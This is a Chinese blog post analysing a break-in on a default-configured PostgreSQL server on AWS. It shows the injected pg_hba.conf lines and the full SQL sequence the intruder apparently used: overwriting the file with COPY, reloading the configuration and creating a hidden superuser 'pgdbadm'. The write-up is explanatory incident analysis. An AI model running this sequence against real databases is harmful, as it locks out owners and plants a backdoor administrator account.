问题分析

前几天,由于开发需要,我在 AWS EC2 部署了一个 PostgreSQL 数据库服务,本来想着过几天用完就终止服务,因此放松了警惕,数据库服务的所有配置保持默认配置,包括账号密码以及端口。然而,今天连接数据库时,出现了如下异常:

FATAL: pg_hba.conf rejects connection for host "xx.xx.xx.xx", user "postgres", database "xxx", SSL off

异常信息大概意思是,数据库服务拒绝连接请求。

于是,我尝试登陆EC2服务后,通过本地连接到数据库,依然提示类似的错误信息。此时,我已经可以十分肯定,数据库被黑了……

异常信息中提示到 pg_hba.conf 文件,因此,沿着这个线索去找到问题所在。 pg_hba.conf 文件一般位于数据库的储存目录下,具体的位置取决于安装方式,经过一轮搜索,在此目录找到 pg_hba.conf 文件。

/var/lib/postgresql/data/pg_hba.conf

仔细检查 pg_hba.conf 配置文件后,发现文件的开头多了几行配置,如下:

local all all reject
host all postgres 0.0.0.0/0 reject
host all pgdbadm 0.0.0.0/0 md5

这三行配置的作用是无条件拒绝所有通过 Unix 域套接字进行的连接,以及拒绝所有 postgres 用户通过 TCP/IP 发起的连接,只允许 pgdbadm 用户通过 TCP/IP 发起的连接,并要求提供MD5的口令进行认证(密码)。由于 pg_hba.conf 配置文件的匹配逻辑是,只要有一条记录满足匹配条件,那么将不再考虑后面的记录。因此,黑客在不改变后面的记录的情况下,其新增记录依然生效。pg_hba.conf 配置文件的详细介绍可参考[官方文档][1]。

问题重现

黑客到底如何实现,不登陆服务器的情况下,间接修改数据库的 pg_hba.conf 配置文件呢?答案是只需要如下几条命令:

-- 登陆数据库服务后,创建临时数据库表
create table tmp(a text);-- 找到 pg_hba.conf 的路径
show hba_file;-- 将 pg_hba.conf 内容复制到 tmp 表中
copy tmp from '/var/lib/postgres/data/pg_hba.conf';-- 新增记录与原文件内容合并后,覆盖原文件
copy (select 'local all all reject' union all select 'host all postgres 0.0.0.0/0 reject' union all select 'host all pgdbadm 0.0.0.0/0 md5' union all select * from tmp) TO '/var/lib/postgresql/data/pg_hba.conf';-- 删除 tmp 表
drop table tmp;-- 重新加载 pg_hba.conf 文件
select pg_reload_conf();-- 创建新用户并更改用户权限
create user pgdbadm with encrypted password 'newpass';
ALTER USER pgdbadm WITH SUPERUSER;

到此入侵完毕。

如果喜欢我的文章的话,欢迎关注我的个人网站,谢谢。

(完)

分析黑客入侵 PostgreSQL 数据库相关推荐

  1. 【应急响应】黑客入侵应急分析手工排查

    1. 事件分类 常见的安全事件: Web入侵:挂马.篡改.Webshell 系统入侵:系统异常.RDP爆破.SSH爆破.主机漏洞 病毒木马:远控.后门.勒索软件 信息泄漏:刷裤.数据库登录(弱口令) ...

  2. 黑客入侵应急分析手工排查

    行文仓促,不足之处,还望大牛指正. 1 事件分类 常见的安全事件: Web入侵:挂马.篡改.Webshell 系统入侵:系统异常.RDP爆破.SSH爆破.主机漏洞 病毒木马:远控.后门.勒索软件 信息 ...

  3. [转]黑客入侵应急分析手工排查

    1 事件分类 常见的安全事件: Web入侵:挂马.篡改.Webshell 系统入侵:系统异常.RDP爆破.SSH爆破.主机漏洞 病毒木马:远控.后门.勒索软件 信息泄漏:脱裤.数据库登录(弱口令) 网 ...

  4. oracle rds 运维服务_从运维的角度分析使用阿里云数据库RDS的必要性–你不应该在阿里云上使用自建的MySQL/SQL Server/Oracle/PostgreSQL数据库...

    开宗明义,你不应该在阿里云上使用自建的MySQL or SQL Server数据库,对了,还有Oracle or PostgreSQL数据库. 云数据库 RDS(Relational Database ...

  5. 扩展我们的分析处理服务(Smartly.io):使用 Citus 对 PostgreSQL 数据库进行分片

    Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/cou ...

  6. 青藤云安全张福:我们可以用“免疫系统”对抗黑客入侵吗?

    我们对黑客的最初认识,可能都来自于"病毒". 通俗来说,无论什么黑客入侵什么系统,大多都需要在系统内部植入代码.这些代码或者可以"自我繁殖",或者可以" ...

  7. 如何恢复隐藏的窗口 已知进程名称_如何判断Linux系统是否被黑客入侵?可以用这种方法...

    恶意软件有时会使用Linux内核进程伪装来隐藏其运行时,让我们研究一下如何使用这种策略来揭露Linux恶意软件. Linux内核进程伪装了什么? 在Linux上,内核创建了许多线程来帮助完成系统任务, ...

  8. 六种黑客入侵手机的常见方式

    六种黑客入侵手机的常见方式 在移动网络科技高速发展的今天,我们每个人的手机都有可能成为黑客攻击的对象,下面为大家介绍6种黑客入侵手机的常见方式,希望能够帮助大家避免手机被不对象攻击. 1.网络钓鱼攻击 ...

  9. 被黑客入侵了怎么办_被黑客入侵后该怎么办

    被黑客入侵了怎么办 Evernote became the latest member of the "we've been hacked" club. And the thing ...

最新文章

  1. python详细安装教程3.7.0-Linux 安装Python3.7.0
  2. TortoiseSVN使用方法
  3. 事件轮询 Event Loop
  4. session 中对象实例在不同事务中的状态
  5. dynamic change date type to sap.ca.ui.model.type.Date in Debugger
  6. hadoop--常见错误及解决方法
  7. jdbc存储过程mysql_使用JDBC操作存储过程
  8. 面试与工作差距大,程序员从准备到拿Offer全攻略
  9. python大佬养成计划--协程实现TCP连接
  10. Kubernetes中StatefulSet介绍
  11. 《监控》其实是讲一个年轻人彻底社会化的过程
  12. c语言编写游戏冒险,C语言-趣味游戏编写
  13. 微PE制作U盘启动盘图文详细教程
  14. Metaverse 元宇宙入门-06-Interchange Tools + Standards and the Metaverse 交换工具+标准和元界
  15. 教育的真谛 [英] 尼古拉斯·泰特 读书摘录
  16. Word中打开Visio绘图错误:找不到服务器应用程序、源文件或项目
  17. 怎样在iPhone、iPad上的Safari浏览器中快速关闭所有标签页?
  18. 7年iOS开发经验,教你写一份脱颖而出的简历,进入大厂机会翻3倍!
  19. 有关狼人杀的专业名词及表水思路
  20. 关于对KB4Rec数据集的学习

热门文章

  1. 1、MyBatis框架入门学习CRUD
  2. 分享50个免费的云盘网盘服务——拥有无限储存空间
  3. NJFU软件需求分析试卷
  4. 批量重命名 将中文名称翻译成英文名称的操作方法
  5. Http请求状态码:905
  6. Javaweb化妆品网上购物系统
  7. win7 nvme 支持补丁_国产桌面版OS系统发布:Win7般体验 最高安全认证
  8. SSH证书登录方式(无密码验证登录)
  9. The Pilots Brothers' refrigerator DFS+枚举
  10. WIN10系统下运行地下管线数据处理系统